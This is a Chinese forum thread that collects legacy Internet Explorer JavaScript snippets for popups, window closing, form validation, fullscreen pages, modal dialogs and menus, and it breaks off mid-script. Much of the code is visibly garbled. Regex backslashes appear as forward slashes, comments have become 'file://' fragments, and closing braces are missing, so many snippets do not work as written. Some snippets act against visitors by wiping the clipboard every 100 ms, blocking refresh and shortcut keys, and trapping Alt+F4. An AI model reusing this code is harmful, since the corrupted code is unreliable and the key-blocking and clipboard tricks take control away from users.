    file://--/
    </script> 
    加入<body>区: 
    <a href="1.htm" οnclick="openwin()">open</a>即可。 

    【6、弹出的窗口之定时关闭控制】 

    下面我们再对弹出的窗口进行一些控制,效果就更好了。如果我们再将一小段代码加入弹出的页面(注意是加入到page.html的HTML中,可不是主页面中,否则...),让它10秒后自动关闭是不是更酷了? 

    首先,将如下代码加入page.html文件的<head>区: 
    <script language="JavaScript"> 
    function closeit() 
    {setTimeout("self.close()",10000) file://毫/秒} 
    </script> 
    然后,再用<body οnlοad="closeit()"> 这一句话代替page.html中原有的<BODY>这一句就可以了。(这一句话千万不要忘记写啊!这一句的作用是调用关闭窗口的代码,10秒钟后就自行关闭该窗口。) 

    【7、在弹出窗口中加上一个关闭按钮】 

    <FORM> 
    <INPUT TYPE='BUTTON' VALUE='关闭' onClick='window.close()'> 
    </FORM> 
    呵呵,现在更加完美了! 

    【8、内包含的弹出窗口-一个页面两个窗口】 

    上面的例子都包含两个窗口,一个是主窗口,另一个是弹出的小窗口。 

    通过下面的例子,你可以在一个页面内完成上面的效果。 
    <html> 
    <head> 
    <SCRIPT LANGUAGE="JavaScript"> 
    function openwin() 
    {OpenWindow=window.open("", "newwin", "height=250, width=250,toolbar=no,scrollbars="+scroll+",menubar=no"); 
    file://写/成一行 
    OpenWindow.document.write("<TITLE>例子</TITLE>") 
    OpenWindow.document.write("<BODY BGCOLOR=#ffffff>") 
    OpenWindow.document.write("<h1>Hello!</h1>") 
    OpenWindow.document.write("New window opened!") 
    OpenWindow.document.write("</BODY>") 
    OpenWindow.document.write("</HTML>") 
    OpenWindow.document.close()} 
    </SCRIPT> 
    </head> 
    <body> 
    <a href="#" οnclick="openwin()">打开一个窗口</a> 
    <input type="button" οnclick="openwin()" value="打开窗口"> 
    </body> 
    </html> 
    看看 OpenWindow.document.write()里面的代码不就是标准的HTML吗?只要按照格式写更多的行即可。千万注意多一个标签或少一个标签就会出现错误。记得用OpenWindow.document.close()结束啊。 

    【9、终极应用--弹出的窗口之Cookie控制】 

    回想一下,上面的弹出窗口虽然酷,但是有一点小毛病(沉浸在喜悦之中,一定没有发现吧?)比如你将上面的脚本放在一个需要频繁经过的页面里(例如首页),那么每次刷新这个页面,窗口都会弹出一次,是不是非常烦人?:-(有解决的办法吗?Yes! ;-) Follow me. 

    我们使用cookie来控制一下就可以了。 

    首先,将如下代码加入主页面HTML的<HEAD>区: 
    <script> 
    function openwin() 
    {window.open("page.html","","width=200,height=200")} 
    function get_cookie(Name) 
    {var search = Name + "=" 
    var returnvalue = ""; 
    if (document.cookie.length > 0) { 
    offset = document.cookie.indexOf(search) 
    if (offset != -1) { 
    offset += search.length 
    end = document.cookie.indexOf(";", offset); 
    if (end == -1) 
    end = document.cookie.length; 
    returnvalue=unescape(document.cookie.substring(offset,end)) 


    return returnvalue; 

    function loadpopup(){ 
    if (get_cookie('popped')==''){ 
    openwin() 
    document.cookie="popped=yes" 


    </script> 
    然后,用<body οnlοad="loadpopup()">(注意不是openwin而是loadpop啊!)替换主页面中原有的<BODY>这一句即可。你可以试着刷新一下这个页面或重新进入该页面,窗口再也不会弹出了。真正的Pop-Only-Once! 

    Re:玩透弹出窗口
    为什么我用window.close()关闭窗口时,浏览器总是弹出一个对话框
    要求是否确认关闭?新手,请多多指教。谢谢!
    Re:玩透弹出窗口
    <input type=button value=关闭 οnclick="window.opener=null;window.close()">
    <!-- IE5.5+ 不会有弹出提示 -->

    <OBJECT id=WebBrowser classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 height=0 width=0></OBJECT>
    <input type=button value=关闭窗口 οnclick=document.all.WebBrowser.ExecWB(45,1)>
    <!-- IE5.5+ 不会有弹出提示 -->
    在datagrid中的按下“删除”按钮列时,弹出一个询问确认窗口,问是否要删除,如果是则delete,如果否则返回?
    Re:玩透弹出窗口
    这个问题以前就解决了。
    具体方法是:

    DataGrid属性生成器 -- 选中“删除”按钮列 -- 在“文本”的框内输入

    <div id="de" οnclick="JavaScript:return confirm('are you sure?')">删除</div>
    Re:玩透弹出窗口
    <script language="JavaScript">  
    function closeit()  
    {setTimeout("self.close()",10000) file://毫/秒}  
    </script>  
    Re:玩透弹出窗口
    <html>
    <body οnlοad='closeit()'>
    <SCRIPT LANGUAGE="javascript">  
    <!--  
    window.open ('df.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')  
    -->  

    </SCRIPT>
    <script language="JavaScript">  
    function closeit()  
    {setTimeout("self.close()",1000) file://毫/秒}  
    </script>  

    </body>
    </html> 

    在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    一、验证类
    1、数字验证内
      1.1 整数
      1.2 大于0的整数 (用于传来的ID的验证)
      1.3 负整数的验证
      1.4 整数不能大于iMax
      1.5 整数不能小于iMin
    2、时间类
      2.1 短时间,形如 (13:04:06)
      2.2 短日期,形如 (2003-12-05)
      2.3 长时间,形如 (2003-12-05 13:04:06)
      2.4 只有年和月。形如(2003-05,或者2003-5)
      2.5 只有小时和分钟,形如(12:03)
    3、表单类
      3.1 所有的表单的值都不能为空
      3.2 多行文本框的值不能为空。
      3.3 多行文本框的值不能超过sMaxStrleng
      3.4 多行文本框的值不能少于sMixStrleng
      3.5 判断单选框是否选择。
      3.6 判断复选框是否选择.
      3.7 复选框的全选,多选,全不选,反选
      3.8 文件上传过程中判断文件类型
    4、字符类
      4.1 判断字符全部由a-Z或者是A-Z的字字母组成
      4.2 判断字符由字母和数字组成。
      4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
      4.4 字符串替换函数.Replace();
    5、浏览器类
      5.1 判断浏览器的类型
      5.2 判断ie的版本
      5.3 判断客户端的分辨率
      
    6、结合类
      6.1 email的判断。
      6.2 手机号码的验证
      6.3 身份证的验证
      

    二、功能类

    1、时间与相关控件类
      1.1 日历
      1.2 时间控件
      1.3 万年历
      1.4 显示动态显示时钟效果(文本,如OA中时间)
      1.5 显示动态显示时钟效果 (图像,像手表) 
    2、表单类
      2.1 自动生成表单
      2.2 动态添加,修改,删除下拉框中的元素
      2.3 可以输入内容的下拉框
      2.4 多行文本框中只能输入iMax文字。如果多输入了,自动减少到iMax个文字(多用于短信发送)
      
    3、打印类
      3.1 打印控件
    4、事件类
      4.1 屏蔽右键
      4.2 屏蔽所有功能键
      4.3 --> 和<-- F5 F11,F9,F1
      4.4 屏蔽组合键ctrl+N
    5、网页设计类
      5.1 连续滚动的文字,图片(注意是连续的,两段文字和图片中没有空白出现)
      5.2 html编辑控件类
      5.3 颜色选取框控件
      5.4 下拉菜单
      5.5 两层或多层次的下拉菜单
      5.6 仿IE菜单的按钮。(效果如rongshuxa.com的导航栏目)
      5.7 状态栏,title栏的动态效果(例子很多,可以研究一下)
      5.8 双击后,网页自动滚屏
    6、树型结构。
      6.1 asp+SQL版
      6.2 asp+xml+sql版
      6.3 java+sql或者java+sql+xml
    7、无边框效果的制作
    8、连动下拉框技术
    9、文本排序
    10,画图类,含饼、柱、矢量贝滋曲线
    11,操纵客户端注册表类
    12,DIV层相关(拖拽、显示、隐藏、移动、增加)
    13,TABLAE相关(客户端动态增加行列,模拟进度条,滚动列表等)
    14,各种<object classid=>相关类,如播放器,flash与脚本互动等
    16, 刷新/模拟无刷新 异步调用类(XMLHttp或iframe,frame)

    <script language="JavaScript">
    <!--
    function check(text){
    var checkstr,iMax=5,iMin=3
    checkstr="isInt:"+(parseInt(text)==text)+"/n"
    checkstr+="isID:"+((parseInt(text)==text)&&(text>=0))+"/n"
    checkstr+="小于"+iMax+":"+((parseInt(text)==text)&&(text<iMax))+"/n"
    checkstr+="大于"+iMin+":"+((parseInt(text)==text)&&(text>iMin))+"/n"
    alert(checkstr)
    }
    //-->
    </script>
    <form method=post action="">
    <input type="text" id="text1" οnchange="check(this.value)">
    </form>

    4、事件类
      4.1 屏蔽右键
          在body标签里加上οncοntextmenu=self.event.returnValue=false  
      4.2 屏蔽所有功能键

      4.3 --> 和<-- F5 F11,F9,F1

      4.4 屏蔽组合键ctrl+N

    <script language=javascript>
    function KeyDown(){   
      if ((window.event.altKey)&&
          ((window.event.keyCode==37)||   //屏蔽 Alt+ 方向键 ←
           (window.event.keyCode==39))){  //屏蔽 Alt+ 方向键 →
         alert("不准你使用ALT+方向键前进或后退网页!");
         event.returnValue=false;
         }
      if ((event.keyCode==8)||            //屏蔽退格删除键
          (event.keyCode==116)){          //屏蔽 F5 刷新键
         event.keyCode=0;
         event.returnValue=false;
         }
      if ((event.ctrlKey)&&(event.keyCode==78)){   //屏蔽 Ctrl+n
         event.returnValue=false;
         }
      if ((event.shiftKey)&&(event.keyCode==121)){ //屏蔽 shift+F10
         event.returnValue=false;
         }
      if (event.keyCode==122){ //屏蔽 F11
         event.returnValue=false;
         }
      }
    只要知道keyCode即可屏蔽所有功能键


    一、验证类
    1、数字验证内
      1.1 整数
          /^(-|/+)?/d+$/.test(str)
      1.2 大于0的整数 (用于传来的ID的验证)
          /^/d+$/.test(str)
      1.3 负整数的验证
          /^-/d+$/.test(str)
    2、时间类
      2.1 短时间,形如 (13:04:06)
          function isTime(str)
          {
            var a = str.match(/^(/d{1,2})(:)?(/d{1,2})/2(/d{1,2})$/);
            if (a == null) {alert('输入的参数不是时间格式'); return false;}
            if (a[1]>24 || a[3]>60 || a[4]>60)
            {
              alert("时间格式不对");
              return false
            }
            return true;
          }
      2.2 短日期,形如 (2003-12-05)
          function strDateTime(str)
          {
             var r = str.match(/^(/d{1,4})(-|//)(/d{1,2})/2(/d{1,2})$/); 
             if(r==null)return false; 
             var d= new Date(r[1], r[3]-1, r[4]); 
             return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]);
          }
      2.3 长时间,形如 (2003-12-05 13:04:06)
          function strDateTime(str)
          {
            var reg = /^(/d{1,4})(-|//)(/d{1,2})/2(/d{1,2}) (/d{1,2}):(/d{1,2}):(/d{1,2})$/; 
            var r = str.match(reg); 
            if(r==null)return false; 
            var d= new Date(r[1], r[3]-1,r[4],r[5],r[6],r[7]); 
            return 

    (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]&&d.getHours()==r[5]&&d.getMinutes()==r[6]&&d.getSeconds()==

    r[7]);
          }
      2.4 只有年和月。形如(2003-05,或者2003-5)
      2.5 只有小时和分钟,形如(12:03)
    3、表单类
      3.1 所有的表单的值都不能为空
          <input οnblur="if(this.value.replace(/^/s+|/s+$/g,'')=='')alert('不能为空!')">
      3.2 多行文本框的值不能为空。
      3.3 多行文本框的值不能超过sMaxStrleng
      3.4 多行文本框的值不能少于sMixStrleng
      3.5 判断单选框是否选择。
      3.6 判断复选框是否选择.
      3.7 复选框的全选,多选,全不选,反选
      3.8 文件上传过程中判断文件类型
    4、字符类
      4.1 判断字符全部由a-Z或者是A-Z的字字母组成
          <input οnblur="if(/[^a-zA-Z]/g.test(this.value))alert('有错')">
      4.2 判断字符由字母和数字组成。
          <input οnblur="if(/[^0-9a-zA-Z]/g.test(this.value))alert('有错')">
      4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
          /^([a-zA-z_]{1})([/w]*)$/g.test(str)
      4.4 字符串替换函数.Replace();
    5、浏览器类
      5.1 判断浏览器的类型
          window.navigator.appName
      5.2 判断ie的版本
          window.navigator.appVersion
      5.3 判断客户端的分辨率
          window.screen.height;  window.screen.width;
      
    6、结合类
      6.1 email的判断。
          function ismail(mail)
          {
            return(new RegExp(/^/w+((-/w+)|(/./w+))*/@[A-Za-z0-9]+((/.|-)[A-Za-z0-9]+)*/.[A-Za-z0-9]+$/).test(mail));
          }
      6.2 手机号码的验证
      6.3 身份证的验证
          function isIdCardNo(num)
          {
            if (isNaN(num)) {alert("输入的不是数字!"); return false;}
            var len = num.length, re; 
            if (len == 15)
              re = new RegExp(/^(/d{6})()?(/d{2})(/d{2})(/d{2})(/d{3})$/);
            else if (len == 18)
              re = new RegExp(/^(/d{6})()?(/d{4})(/d{2})(/d{2})(/d{3})(/d)$/);
            else {alert("输入的数字位数不对!"); return false;}
            var a = num.match(re);
            if (a != null)
            {
              if (len==15)
              {
                var D = new Date("19"+a[3]+"/"+a[4]+"/"+a[5]);
                var B = D.getYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5];
              }
              else
              {
                var D = new Date(a[3]+"/"+a[4]+"/"+a[5]);
                var B = D.getFullYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5];
              }
              if (!B) {alert("输入的身份证号 "+ a[0] +" 里出生日期不对!"); return false;}
            }
            return true;
          }


    3.7 复选框的全选,多选,全不选,反选
    <form name=hrong>
    <input type=checkbox name=All οnclick="checkAll('mm')">全选<br/>
    <input type=checkbox name=mm οnclick="checkItem('All')"><br/>
    <input type=checkbox name=mm οnclick="checkItem('All')"><br/>
    <input type=checkbox name=mm οnclick="checkItem('All')"><br/>
    <input type=checkbox name=mm οnclick="checkItem('All')"><br/>
    <input type=checkbox name=mm οnclick="checkItem('All')"><br/><br/>


    <input type=checkbox name=All2 οnclick="checkAll('mm2')">全选<br/>
    <input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
    <input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
    <input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
    <input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
    <input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>

    </form>

    <SCRIPT LANGUAGE="JavaScript">
    function checkAll(str)
    {
      var a = document.getElementsByName(str);
      var n = a.length;
      for (var i=0; i<n; i++)
      a[i].checked = window.event.srcElement.checked;
    }
    function checkItem(str)
    {
      var e = window.event.srcElement;
      var all = eval("document.hrong."+ str);
      if (e.checked)
      {
        var a = document.getElementsByName(e.name);
        all.checked = true;
        for (var i=0; i<a.length; i++)
        {
          if (!a[i].checked){ all.checked = false; break;}
        }
      }
      else all.checked = false;
    }
    </SCRIPT>

    3.8 文件上传过程中判断文件类型
    <input type=file οnchange="alert(this.value.match(/^(.*)(/.)(.{1,8})$/)[3])">

    不断地清空剪贴板:
    <body οnlοad="setInterval('clipboardData.setData(/'Text/',/'/')',100)">


    <script language="JavaScript" type="text/JavaScript">
    //先复制一样东西,或者文本或者图片
    if(clipboardData.getData("Text")||clipboardData.getData("HTML")||clipboardData.getData("URL"))
    {
    alert("有效行为");
    }
    </script>


    全屏技术:
    真正的全屏页面解决之道!(全代码) 
    真正全屏解决之道: 
    1.htm 
    <html> 
    <head> 
    <title>无标题文档</title> 
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
    </head> 

    <body οnlοad="window.open('fullscreen.htm','','fullscreen=1,scroll=no');"> 
    </body> 
    </html> 


    fullscreen.htm 
    <html> 
    <head> 
    <title>无标题文档</title> 
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
    <script language="JavaScript1.2">  
    <!--  
    function opensmallwin(myurl){  
    var w2=300;//想弹出窗口的宽度  
    var h2=100;//想弹出窗口的高度  
    var w3=window.screen.width/2-w2/2;  
    var h3=window.screen.height/2-h2/2;  
    window.open(myurl,'small','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=0,width='+ w2 +',height='+ h2 +',left='+ w3 +',top='+ h3 +'');  
    }  
    //-->  

    <!-- 
    function modelesswin(url,mwidth,mheight){ 
      if (document.all&&window.print) 
        eval('window.showModelessDialog(url,"","help:0;resizable:0;status:0;center:1;scroll:0;dialogWidth:'+mwidth+'px;dialogHeight:'+mheight+'px")')  
      else 
        eval('window.open(url,"","width='+mwidth+'px,height='+mheight+'px,resizable=1,scrollbars=1")') 
      } 
    //--> 

    </script>  
    </head> 

    <body  scroll="no"> 
    <div align="right"><a href="javascript:" οnclick="window.close()">关闭</a> </div> 
    <p></P> 
    <div align="right"><a href="javascript:" οnclick="opensmallwin('login.htm')">登录</a> </div> 

    <p></P> 
    <div align="center"><a href="javascript:" οnclick="modelesswin('login.htm',300,160)">用模态登录窗口</a> </div> 
    </body> 
    </html> 


    login.htm 
    <html> 
    <head> 
    <title>用户登录</title> 
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 

    <style type="text/css"> 
    <!-- 
    body { 
       background-color: #EAEAEA; 
       font-family: Arial, Helvetica, sans-serif; 
       font-size: 12px; 
       line-height: 24px; 
       color: #336699; 

    input.boxline { 
       width: 100px; 
       font-family: "Times New Roman", "Times", "serif"; 
       font-size: 9pt; 
       border: 1px solid #669999; 
       height: 18px; 

    input.whiteline {   
       font-size: 12px; border: 1px #999999 solid 

    --> 
    </style></head> 
    <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> 
    <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="14" bgcolor="#CCCCCC"> 
      <tr valign="top"> 
        <td width="10%" nowrap  align="right"><b>用户名:</b></td> 
        <td width="90%"><input name="textfield1" type="text" size="25" class="whiteline"></td> 
      </tr> 
      <tr valign="top"> 
        <td nowrap align="right"><b>密 码:</b></td> 
        <td><input name="textfield12" type="password" size="25" class="whiteline"></td> 
      </tr> 
      <tr valign="top"> 
        <td> </td> 
        <td><input type="submit" name="Submit" value="登  录" class="boxline"></td> 
      </tr> 
    </table> 
    </body> 
    </html> 


    自动关掉原窗口: 


    <html> 
    <head> 
    <title>无标题文档</title> 
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
    <style type="text/css"> 
    <!-- 
    body { 
       margin-left: 0px; 
       margin-top: 0px; 
       margin-right: 0px; 
       margin-bottom: 0px; 

    --> 
    </style> 
    </head> 

    <body οnlοad="window.open('fullscreen.htm','','fullscreen=1,scroll=no');window.opener=null;window.close()"> 
    <input type=button value=关闭 οnclick="window.opener=null;window.close()">  
    <!-- IE5.5+ 不会有弹出提示 -->  

    <OBJECT id=WebBrowser classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 height=0 width=0></OBJECT>  
    <input type=button value=关闭窗口 οnclick=document.all.WebBrowser.ExecWB(45,1)>  
    </body> 
    </html> 

    关键是在onload事件中加入: 
    window.opener=null;window.close() 


    预读图片:
    <SCRIPT LANGUAGE="JavaScript">

    <!-- This script and many more are available free online at -->
    <!-- The JavaScript Source!! 
    http://javascript.internet.com -->

    <!-- Begin

    image1 = new Image();
    image1.src = "image1.gif";

    image2 = new Image();
    image2.src = "image2.gif";

    // End -->
    </script>

    关于两个网页刷新交互的问题 
    JS处理方法: 

    a.htm 

    <a href="b.htm" target=blank>发表留言</a> 
    <script> 
    alert("wwwwwwwwwwwwwwwwwwwwwwwwww"); 
    </script> 

    b.htm 

    <script language="javascript"> 
    //window.opener.location.reload();刷新父窗口 
    //window.opener.location="2.htm"//重定向父窗口到2.htm页 
    function closewindow() 

    window.opener.location.reload(); 
    self.close(); 
    window.opener.document.write("sssssssssssssssssss"); 

    </script> 
    <a href="b.htm" target=blank οnclick="closewindow();">关闭</a> 

    后台处理方法: 

    private btnForSubmit(Object sender,EventArgs e) 

     ............. 
     Response.Write("<script>window.opener.document.execCommand('refresh');window.opener='';window.close();</script>"); 
    //string str="<script>window.opener.document.execCommand('refresh');window.opener='';window.close();</script>"; 
    //this.RegisterStartupScript("mycode",str); 

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    showModalDialog()、showModelessDialog()方法使用详解

     Javascript有许多内建的方法来产生对话框,如:window.alert(), window.confirm(),window.prompt().等。 然而IE提供更多的方法支持对话框。如:

      showModalDialog() (IE 4+ 支持)
      showModelessDialog() (IE 5+ 支持)


     window.showModalDialog()方法用来创建一个显示HTML内容的模态对话框,由于是对话框,因此它并没有一般用window.open()打开的窗口的所有属性。
     window.showModelessDialog()方法用来创建一个显示HTML内容的非模态对话框。

     当我们用showModelessDialog()打开窗口时,不必用window.close()去关闭它,当以非模态方式[IE5]打开时, 打开对话框的窗口仍可以进行其他的操作,即对话框不总是最上面的焦点,当打开它的窗口URL改变时,它自动关闭。而模态[IE4]方式的对话框始终有焦点(焦点不可移走,直到它关闭)。模态对话框和打开它的窗口相联系,因此我们打开另外的窗口时,他们的链接关系依然保存,并且隐藏在活动窗口的下面。

    使用方法如下:
     vReturnValue = window.showModalDialog(sURL [, vArguments] [, sFeatures])
     vReturnValue = window.showModelessDialog(sURL [, vArguments] [, sFeatures])
    参数说明:
     sURL
     必选参数,类型:字符串。用来指定对话框要显示的文档的URL。
     vArguments
     可选参数,类型:变体。用来向对话框传递参数。传递的参数类型不限,包括数组等。对话框通过window.dialogArguments来取得传递进来的参数。
     sFeatures
     可选参数,类型:字符串。用来描述对话框的外观等信息,可以使用以下的一个或几个,用分号“;”隔开。
      dialogHeight 对话框高度,不小于100px,IE4中dialogHeight 和 dialogWidth 默认的单位是em,而IE5中是px,为方便其见,在定义modal方式的对话框时,用px做单位。
       dialogWidth: 对话框宽度。
       dialogLeft: 距离桌面左的距离。
       dialogTop: 离桌面上的距离。
       center: {yes | no | 1 | 0 }:窗口是否居中,默认yes,但仍可以指定高度和宽度。
       help: {yes | no | 1 | 0 }:是否显示帮助按钮,默认yes。
       resizable: {yes | no | 1 | 0 } [IE5+]:是否可被改变大小。默认no。
       status: {yes | no | 1 | 0 } [IE5+]:是否显示状态栏。默认为yes[ Modeless]或no[Modal]。
      scroll:{ yes | no | 1 | 0 | on | off }:指明对话框是否显示滚动条。默认为yes。

      还有几个属性是用在HTA中的,在一般的网页中一般不使用。
      dialogHide:{ yes | no | 1 | 0 | on | off }:在打印或者打印预览时对话框是否隐藏。默认为no。
      edge:{ sunken | raised }:指明对话框的边框样式。默认为raised。
      unadorned:{ yes | no | 1 | 0 | on | off }:默认为no。

     传入参数:
     要想对话框传递参数,是通过vArguments来进行传递的。类型不限制,对于字符串类型,最大为4096个字符。也可以传递对象,例如:

     test1.htm
     ====================
     <script>
      var mxh1 = new Array("mxh","net_lover","孟子E章")
      var mxh2 = window.open("about:blank","window_mxh")
      // 向对话框传递数组
      window.showModalDialog("test2.htm",mxh1)
      // 向对话框传递window对象
      window.showModalDialog("test3.htm",mxh2)
     </script>

     test2.htm
     ====================
     <script>
      var a = window.dialogArguments
      alert("您传递的参数为:" + a)
     </script>

     test3.htm
     ====================
     <script>
      var a = window.dialogArguments
      alert("您传递的参数为window对象,名称:" + a.name)
     </script>

     可以通过window.returnValue向打开对话框的窗口返回信息,当然也可以是对象。例如:

     test4.htm
     ===================
     <script>
      var a = window.showModalDialog("test5.htm")
      for(i=0;i<a.length;i++) alert(a[i])
     </script>

     test5.htm
     ===================
     <script>
     function sendTo()
     {
      var a=new Array("a","b")
      window.returnValue = a
      window.close()
     }
     </script>
     <body>
     <form>
      <input value="返回" type=button οnclick="sendTo()">
     </form>

     常见问题:
     1,如何在模态对话框中进行提交而不新开窗口?
     如果你 的 浏览器是IE5.5+,可以在对话框中使用带name属性的iframe,提交时可以制定target为该iframe的name。对于IE4+,你可以用高度为0的frame来作:例子,

     test6.htm
     ===================
     <script>
      window.showModalDialog("test7.htm")
     </script>

     test7.htm
     ===================
     if(window.location.search) alert(window.location.search)
     <frameset rows="0,*">
      <frame src="about:blank">
      <frame src="test8.htm">
     </frameset>

     test8.htm
     ===================
     <form target="_self" method="get">
     <input name=txt value="test">
     <input type=submit>
     </form>
     <script>
     if(window.location.search) alert(window.location.search)
     </script>
     2,可以通过
    http://servername/virtualdirname/test.htm?name=mxh方式直接向对话框传递参数吗?
     答案是不能。但在frame里是可以的。

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    //屏蔽 F5 刷新键


    function document.onkeydown()
    {
        var k = window.event.keyCode;
        if (k == 116)                   //屏蔽 F5 刷新键
        {
            window.event.keyCode    = 0;
            window.event.returnValue= false;
        }
    }


    <script language="Javascript">
     //屏蔽鼠标右键、Ctrl+N、Shift+F10、F5刷新、退格键
     //屏蔽F1帮助
    function window.onhelp()
    {
       return false
    }
    function KeyDown()
    {
      //alert(event.keyCode);
       //屏蔽 Alt+ 方向键 ← 屏蔽 Alt+ 方向键 →
      if ((window.event.altKey)&&((window.event.keyCode==37)||(window.event.keyCode==39)))
      {  
         //alert("不准你使用ALT+方向键前进或后退网页!");
         event.returnValue=false;
      }
      //屏蔽退格删除键,屏蔽 F5 刷新键,Ctrl + R
      if ((event.keyCode==116)||(event.ctrlKey && event.keyCode==82))
      { 
         event.keyCode=0;
         event.returnValue=false;
      } 
      
      //屏蔽 Ctrl+n
      if ((event.ctrlKey)&&(event.keyCode==78))
      {  
         event.returnValue=false;
      }
      
      //屏蔽 shift+F10
      if ((event.shiftKey)&&(event.keyCode==121))
      { 
         event.returnValue=false;
      }
      
      //屏蔽 shift 加鼠标左键新开一网页
      if (window.event.srcElement.tagName == "A" && window.event.shiftKey) 
      {
        window.event.returnValue = false;
      }
          
       //屏蔽Alt+F4
      if ((window.event.altKey)&&(window.event.keyCode==115))
      {
          window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px");
          return false;
      }
      
      //屏蔽Ctrl+A
      if((event.ctrlKey)&&(event.keyCode==65))
      {
       return false;
      }
        
    }
    </script>
    </body>
    </HTML>

    <script language="Javascript"><!--
    document.onkeydown = function()
    {
        var k = window.event.keyCode;
        if (k == 116)                   //屏蔽 F5 刷新键
        {
            window.event.keyCode    = 0;
            window.event.returnValue= false;
        }
    }
    // --></script>


    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    酷毕仿浏览器菜单


    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <!-- saved from url=(0035)http://ohsky.top263.net/js/js33.htm -->
    <HTML><HEAD><TITLE>酷毕仿浏览器菜单</TITLE>
    <META content="text/html; charset=gb2312" http-equiv=Content-Type>
    <STYLE>BODY {
       FONT-FAMILY: verdana;
       FONT-SIZE: 12px;
       margin-left: 0px;
       margin-top: 0px;
       margin-right: 0px;
       margin-bottom: 0px;
    }
    DIV {
       FONT-FAMILY: verdana; FONT-SIZE: 12px
    }
    TD {
       FONT-FAMILY: verdana; FONT-SIZE: 12px
    }
    LAYER {
       FONT-FAMILY: verdana; FONT-SIZE: 12px
    }
    A:link {
       COLOR: #333333; TEXT-DECORATION: none
    }
    A:visited {
       COLOR: #333333; TEXT-DECORATION: none
    }
    A:active {
       COLOR: #333333; TEXT-DECORATION: none
    }
    A:link {
       CURSOR: default
    }
    A:hover {
       CURSOR: default
    }
    A:active {
       CURSOR: default
    }
    A:hover {
       COLOR: #ffffff; TEXT-DECORATION: none
    }
    .d {
       FONT-SIZE: 12px
    }
    .Rollover {
       BEHAVIOR: url(imageRollover_js.htc)
    }

    .main_tab {
       background-color: #D4D0C8;
       color: #000000;
       border-top:1px solid #FFFFFF;
       border-left:1px solid #FFFFFF;
       border-right: 1px solid gray;
       border-bottom: 1px solid gray; 
       background-image:   url(images/bg/huifang_bg1.gif);
       }
    </STYLE>

    <SCRIPT language=JavaScript type=text/javascript>
    <!--

    No3 = (parseInt(navigator.appVersion) > 3) ? 1:0;
    layer = (document.all && No3) ? "document.all['L'+menu].style" : (document.layers && No3) ? "document.layers['L'+menu]" : 0;
    var timer;

    function Show() { if(layer) {
       if(timer) clearTimeout(timer);
       for(menu=0; menu<Layer.length; menu++) { if(Layer[menu]) { eval(layer).visibility = "hidden"; } }
       for(i=0; i<arguments.length; i++) { menu=arguments[i]; eval(layer).visibility = "visible"; }
    } }
    function Hide() { timer = setTimeout("Show()", 500); }

    function MM_preloadImages() { //v3.0
      var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
        var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
        if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
    }
    //-->
    </SCRIPT>

    <META content="MSHTML 5.00.2614.3500" name=GENERATOR></HEAD>
    <BODY bgColor=#ffffff>
    <SPAN id=menubar style="POSITION: relative; VISIBILITY: hidden">
    <TABLE bgColor=#cccccc border=0 cellPadding=3 cellSpacing=0 width=500 class="main_tab">
      <TBODY>
      <TR>
        <TD>
          <DIV align=center><A href="
    http://ohsky.top263.net/js/js33.htm#" 
          οnmοuseοut=Hide(1) οnmοuseοver=Show(1)>文件(F)</A></DIV></TD>
        <TD>
          <DIV align=center><A href="
    http://ohsky.top263.net/js/js33.htm#" 
          οnmοuseοut=Hide(2) οnmοuseοver=Show(2)>编辑(E)</A></DIV></TD>
        <TD>
          <DIV align=center><A href="
    http://ohsky.top263.net/js/js33.htm#" 
          οnmοuseοut=Hide(3) 
    οnmοuseοver=Show(3)>查看(V)</A></DIV></TD></TR></TBODY></TABLE>
    </SPAN>
    (注:菜单前带"√"的项目功能可以实现,其余项目正在测试中)<BR>
    <SCRIPT><!--//
    function gohome(){
    if (document.layers)
    window.home()
    else if (document.all)
    window.location="about:home"
    else
    alert("You need NS 4+ or IE 4+ to go back home!")
    }
    //--></SCRIPT>
    <SCRIPT language=JavaScript><!-- 
       hovercolor   = "#000099";
       bgcolor      = "#CCCCCC";
       background   = "";
       menu_border  = 1;         // IE only
       border_color = "#000000";   // IE only
       arrow_pic    = "arrow.gif"; 
    if(document.all) { if(!background) { background=bgcolor; } else { background = "url("+background+")"; } }

    //Left:左侧距离 Top:顶端距离  Width:菜单宽度


    function LayerSpecs(Left,Top,Width) { if(No3) {
       if(document.all) { Top+=7; Left+=2; Width-=6; }
       this.left  = Left;
       this.top   = Top;
       this.info  = "";
       T=0;
       for(i=3; i<arguments.length; i++) {
          if(document.all) { this.info += "<TR><TD WIDTH="+Width+" onMouseOver='this.bgColor=/""+hovercolor+"/"' onMouseOut='this.bgColor=/"/"'>"+arguments[i]+"</TD></TR>"; }
